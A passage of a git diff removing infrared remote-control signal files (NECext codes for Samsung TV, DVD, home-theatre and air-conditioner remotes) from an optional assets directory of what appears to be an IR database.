-command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: s-mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: p-size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 21 00 00 00 -# -name: position -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 22 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 24 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2F 00 00 00 -# -name: p-up -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 32 00 00 00 -# -name: p-down -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: turbo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 64 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: ch-mgr -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: p-mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: srs -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir deleted file mode 100644 index 888a6088a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir deleted file mode 100644 index d46bd7847..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: P./STILL -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: LINE_IN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 26 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2A 00 00 00 -# -name: TRK- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: TRK+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 30 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 32 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 37 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: P-STD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir deleted file mode 100644 index 2d5e10341..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Turbo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: SMenu -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: SSTD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: PSTD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PSize -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir deleted file mode 100644 index 32e3cb763..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: remain -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 03 00 00 00 -# -name: PLII-MODE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 06 00 00 00 -# -name: EZ-VIEW -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 07 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 0B 00 00 00 -# -name: PLII-EFFECT -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 0C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 0D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 0E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 0F 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 11 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 13 00 00 00 -# -name: SOUND-EDIT -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 15 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 17 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 18 00 00 00 -# -name: TV-VIDEO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 18 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 19 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 1B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 1C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 1D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 23 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 24 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 26 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 2B 00 00 00 -# -name: TUNER-MEMORY -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 2F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 33 00 00 00 -# -name: TEST-TONE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 34 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 35 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 36 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 37 00 00 00 -# -name: LOGO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 38 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 39 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 3B 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 3D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 3F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 47 00 00 00 -# -name: SD-HD -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 59 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 66 00 00 00 -# -name: super5.1 -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 67 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 68 00 00 00 -# -name: ASC -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 69 00 00 00 -# -name: HDMI-AUDIO -type: parsed -protocol: NECext -address: 43 53 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir deleted file mode 100644 index f2f187404..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: KEY_CONTEXT_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir deleted file mode 100644 index 56461675e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIMER -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 27 00 00 00 -# -name: SWING -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 29 00 00 00 -# -name: TEMP- -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 31 00 00 00 -# -name: TEMP+ -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 32 00 00 00 -# -name: FAN_LOW -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 35 00 00 00 -# -name: FAN_MED -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 36 00 00 00 -# -name: FAN_HIGH -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 37 00 00 00 -# -name: FAN -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 39 00 00 00 -# -name: HEAT -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3A 00 00 00 -# -name: COOL -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir deleted file mode 100644 index b5d360255..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DUAL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: 